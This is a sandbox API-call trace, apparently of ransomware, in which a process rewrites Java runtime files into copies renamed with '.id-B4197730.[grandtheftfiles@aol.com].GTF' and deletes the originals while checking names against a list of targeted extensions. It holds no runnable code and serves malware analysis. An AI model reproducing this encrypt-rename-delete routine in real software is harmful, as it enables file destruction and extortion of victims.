	[0155.214] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0155.215] GetLastError () returned 0x0
	[0155.215] ReadFile (in: hFile=0x488, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x562, lpOverlapped=0x0) returned 1
	[0155.245] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x570, lpOverlapped=0x0) returned 1
	[0155.246] ReadFile (in: hFile=0x488, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.246] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xfc, lpOverlapped=0x0) returned 1
	[0155.246] SetEndOfFile (hFile=0x48c) returned 1
	[0155.246] CloseHandle (hObject=0x48c) returned 1
	[0155.247] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.247] SetEndOfFile (hFile=0x488) returned 1
	[0155.249] CloseHandle (hObject=0x488) returned 1
	[0155.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.250] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1
	[0155.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.250] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.250] lstrlenW (lpString=".doc") returned 4
	[0155.250] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0155.250] lstrlenW (lpString=".docx") returned 5
	[0155.250] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0155.250] lstrlenW (lpString=".pdf") returned 4
	[0155.250] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0155.250] lstrlenW (lpString=".xls") returned 4
	[0155.250] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString=".xlsx") returned 5
	[0155.251] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0155.251] lstrlenW (lpString=".ppt") returned 4
	[0155.251] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.251] lstrlenW (lpString=".zip") returned 4
	[0155.251] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString=".rar") returned 4
	[0155.251] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString=".bz2") returned 4
	[0155.251] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString=".7z") returned 3
	[0155.251] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0155.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.251] lstrlenW (lpString=".dbf") returned 4
	[0155.251] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.251] lstrlenW (lpString=".1cd") returned 4
	[0155.251] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.251] lstrlenW (lpString=".jpg") returned 4
	[0155.251] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.251] lstrlenW (lpString=".doc") returned 4
	[0155.251] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString=".docx") returned 5
	[0155.251] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0155.251] lstrlenW (lpString=".pdf") returned 4
	[0155.251] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString=".xls") returned 4
	[0155.251] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString=".xlsx") returned 5
	[0155.251] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0155.251] lstrlenW (lpString=".ppt") returned 4
	[0155.251] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0155.251] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.251] lstrlenW (lpString=".zip") returned 4
	[0155.252] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0155.252] lstrlenW (lpString=".rar") returned 4
	[0155.252] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0155.252] lstrlenW (lpString=".bz2") returned 4
	[0155.252] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0155.252] lstrlenW (lpString=".7z") returned 3
	[0155.252] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0155.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.252] lstrlenW (lpString=".dbf") returned 4
	[0155.252] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0155.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.252] lstrlenW (lpString=".1cd") returned 4
	[0155.252] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0155.252] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59
	[0155.252] lstrlenW (lpString=".jpg") returned 4
	[0155.252] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0155.252] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".GTF") returned -1
	[0155.252] lstrlenW (lpString="classlist") returned 9
	[0155.252] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.253] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=84355) returned 1
	[0155.253] CloseHandle (hObject=0x488) returned 1
	[0155.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20
	[0155.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.253] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.253] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.253] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.253] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0155.254] GetLastError () returned 0x0
	[0155.254] ReadFile (in: hFile=0x488, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x14983, lpOverlapped=0x0) returned 1
	[0155.263] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x14990, lpOverlapped=0x0) returned 1
	[0155.265] ReadFile (in: hFile=0x488, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.265] WriteFile (in: hFile=0x48c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0155.266] SetEndOfFile (hFile=0x48c) returned 1
	[0155.268] CloseHandle (hObject=0x48c) returned 1
	[0155.271] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.271] SetEndOfFile (hFile=0x488) returned 1
	[0155.276] CloseHandle (hObject=0x488) returned 1
	[0155.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.280] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1
	[0155.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.280] lstrlenW (lpString=".doc") returned 4
	[0155.280] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0155.280] lstrlenW (lpString=".docx") returned 5
	[0155.280] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1
	[0155.280] lstrlenW (lpString=".pdf") returned 4
	[0155.280] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0155.280] lstrlenW (lpString=".xls") returned 4
	[0155.280] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0155.280] lstrlenW (lpString=".xlsx") returned 5
	[0155.280] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1
	[0155.280] lstrlenW (lpString=".ppt") returned 4
	[0155.280] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0155.280] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.281] lstrlenW (lpString=".zip") returned 4
	[0155.281] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString=".rar") returned 4
	[0155.281] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString=".bz2") returned 4
	[0155.281] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString=".7z") returned 3
	[0155.281] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0155.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.281] lstrlenW (lpString=".dbf") returned 4
	[0155.281] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.281] lstrlenW (lpString=".1cd") returned 4
	[0155.281] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.281] lstrlenW (lpString=".jpg") returned 4
	[0155.281] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.281] lstrlenW (lpString=".doc") returned 4
	[0155.281] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString=".docx") returned 5
	[0155.281] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1
	[0155.281] lstrlenW (lpString=".pdf") returned 4
	[0155.281] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString=".xls") returned 4
	[0155.281] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString=".xlsx") returned 5
	[0155.281] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1
	[0155.281] lstrlenW (lpString=".ppt") returned 4
	[0155.281] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.281] lstrlenW (lpString=".zip") returned 4
	[0155.281] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString=".rar") returned 4
	[0155.281] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0155.281] lstrlenW (lpString=".bz2") returned 4
	[0155.282] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0155.282] lstrlenW (lpString=".7z") returned 3
	[0155.282] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0155.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.282] lstrlenW (lpString=".dbf") returned 4
	[0155.282] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0155.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.282] lstrlenW (lpString=".1cd") returned 4
	[0155.282] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0155.282] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0155.282] lstrlenW (lpString=".jpg") returned 4
	[0155.282] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0155.282] lstrcmpiW (lpString1=".pf", lpString2=".GTF") returned 1
	[0155.282] lstrlenW (lpString="GRAY.pf") returned 7
	[0155.282] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.282] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=632) returned 1
	[0155.282] CloseHandle (hObject=0x488) returned 1
	[0155.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20
	[0155.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.283] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.283] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.283] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0155.284] GetLastError () returned 0x0
	[0155.285] ReadFile (in: hFile=0x488, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x278, lpOverlapped=0x0) returned 1
	[0155.286] WriteFile (in: hFile=0x490, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x280, lpOverlapped=0x0) returned 1
	[0155.287] ReadFile (in: hFile=0x488, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.287] WriteFile (in: hFile=0x490, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0155.287] SetEndOfFile (hFile=0x490) returned 1
	[0155.287] CloseHandle (hObject=0x490) returned 1
	[0155.287] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.287] SetEndOfFile (hFile=0x488) returned 1
	[0155.291] CloseHandle (hObject=0x488) returned 1
	[0155.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.291] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1
	[0155.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.292] lstrlenW (lpString=".doc") returned 4
	[0155.292] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString=".docx") returned 5
	[0155.292] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1
	[0155.292] lstrlenW (lpString=".pdf") returned 4
	[0155.292] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString=".xls") returned 4
	[0155.292] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString=".xlsx") returned 5
	[0155.292] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1
	[0155.292] lstrlenW (lpString=".ppt") returned 4
	[0155.292] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.292] lstrlenW (lpString=".zip") returned 4
	[0155.292] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString=".rar") returned 4
	[0155.292] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString=".bz2") returned 4
	[0155.292] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString=".7z") returned 3
	[0155.292] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0155.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.292] lstrlenW (lpString=".dbf") returned 4
	[0155.292] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.292] lstrlenW (lpString=".1cd") returned 4
	[0155.292] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.292] lstrlenW (lpString=".jpg") returned 4
	[0155.292] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1
	[0155.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.292] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.292] lstrlenW (lpString=".doc") returned 4
	[0155.293] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString=".docx") returned 5
	[0155.293] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1
	[0155.293] lstrlenW (lpString=".pdf") returned 4
	[0155.293] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString=".xls") returned 4
	[0155.293] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString=".xlsx") returned 5
	[0155.293] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1
	[0155.293] lstrlenW (lpString=".ppt") returned 4
	[0155.293] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.293] lstrlenW (lpString=".zip") returned 4
	[0155.293] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString=".rar") returned 4
	[0155.293] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString=".bz2") returned 4
	[0155.293] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString=".7z") returned 3
	[0155.293] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0155.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.293] lstrlenW (lpString=".dbf") returned 4
	[0155.293] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.293] lstrlenW (lpString=".1cd") returned 4
	[0155.293] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1
	[0155.293] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0155.293] lstrlenW (lpString=".jpg") returned 4
	[0155.293] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1
	[0155.293] lstrcmpiW (lpString1=".pf", lpString2=".GTF") returned 1
	[0155.293] lstrlenW (lpString="LINEAR_RGB.pf") returned 13
	[0155.293] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0155.392] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1044) returned 1
	[0155.408] CloseHandle (hObject=0x45c) returned 1
	[0155.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20
	[0155.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0155.408] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.408] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.408] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.423] GetLastError () returned 0x0
	[0155.423] ReadFile (in: hFile=0x45c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x414, lpOverlapped=0x0) returned 1
	[0155.425] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x420, lpOverlapped=0x0) returned 1
